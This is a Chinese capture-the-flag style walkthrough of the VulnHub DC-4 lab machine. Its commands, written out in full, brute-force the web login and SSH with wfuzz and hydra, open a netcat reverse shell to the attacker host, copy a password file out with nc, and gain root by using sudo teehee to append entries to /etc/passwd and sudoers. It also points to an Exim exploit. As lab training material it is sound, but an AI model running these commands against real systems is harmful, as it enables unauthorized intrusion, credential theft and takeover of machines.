【VulnHub系列】DC4(附靶机)
2022-5-16 07:50:0 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

文章来源|MS08067 安全实验室

本文作者:大方子(Ms08067实验室核心成员)

文章最后附靶机下载地址

  • 主机信息

  • 实验过程

主机信息

DC4:192.168.229.136

Kali:192.168.229.135

先发现内网存活主机

sudo arp-scan --interface eth0 192.168.229.1/24

然后查看靶机开放的端口

sudo nmap -A -p- -T4 -v 192.168.229.136 

访问80,是一个登录页面

既然遇到登录页面,那就可以尝试看看,是否有弱口令

# 使用的字典
https://github.com/rootphantomer/Blasting_dictionary/tree/master/%E5%B8%B8%E7%94%A8%E8%8B%B1%E6%96%87%E7%94%A8%E6%88%B7%E5%90%8D%E5%92%8C%E5%A5%87%E8%91%A9%E5%AF%86%E7%A0%81

这里我是用的是Wfuzz来进行爆破

# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d  : 请求体设置
wfuzz -c -t 20 -w /usr/share/wordlists/usernames.txt -w /usr/share/wordlists/passwords.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.229.136/login.php

得到账号和密码

admin - happy

登陆后发现,是有类似命令执行的功能的

这个时候burp抓包看看

这里我直接反弹shell用操作

nc -e+/bin/bash 192.168.229.135 4444

这里要将空格变为+号

nc+-e+/bin/bash+192.168.229.135+4444

查看下passwd看看有什么用户适合提权

这里可以看到charles、jim、sam有/bin/bash,那么就从这3个用户开始入手

去这几个用户的家目录看看有没有什么收获

可以看到jim目录下面有线索

在backups里面看到有一个old-passwords.txt的备份

将这些密码复制下来并对jim进行ssh爆破,因为在信息手机阶段我们可以看到靶机是打开了22端口

这里可以用nc进行文件传输

# Kali
nc -nvlp 5555 > old-passwords.bak

# DC4
nc 192.168.229.135 5555 < /home/jim/backups/old-passwords.bak

现在用hydra对jim账号进行SSH爆破

hydra  -l jim -P /home/kali/vulnhub/dc4/old-passwords.txt ssh://192.168.229.136
[22][ssh] host: 192.168.229.136   login: jim   password: jibril04

登陆jim的ssh,查看有没有sudo权限

说明要从其他方面入手,这里我们登录SSH提示有邮件,查看下

From [email protected] Sat Apr 06 21:15:46 2019
Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
 (envelope-from <[email protected]>)
 id 1hCjIX-0000kO-Qt
 for [email protected]; Sat, 06 Apr 2019 21:15:45 +1000
To: [email protected]
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <[email protected]>
From: Charles <[email protected]>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

这里给出了Charles的密码,那么我们切换到Charles

Charles

^xHhA&hvim0y

看下charles的sudo

可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件

我们可以借助teehee往passwd写入一个root账号即可得到root 权限

echo "cooper::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

尴尬的是因为是没有密码,一直无法登录,看了下别人都是可以登录我也找不出原因

于是换了思路,直接给charles赋予完全的root权限

echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers

然后直接sudo登录root账号

sudo su - root

这里还有一种提权方法

通过cat jim的邮件我们可以看到Exim的版本为4.89

有一个CVE-2019-10149可以使用

searchsploit Exim
searchsploit -p linux/local/46996.sh

将exp拷贝过来,开启Python的HTTP服务,让靶机进行下载执行

然后执行脚本得到root权限

靶机下载地址:http://www.five86.com/downloads/DC-4.zip

扫描下方二维码加入星球学习

加入后邀请你进入内部微信群,内部群永久有效!

 

来和8000+位同学一起加入星球学习吧!


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247499545&idx=1&sn=d88efc4b01c637c3067f3706df9273a5&chksm=fc3c4618cb4bcf0eac01d09683a9ad76fcbde4ceaa748c604c553d67636905d79443d86093a2#rd
如有侵权请联系:admin#unsafe.sh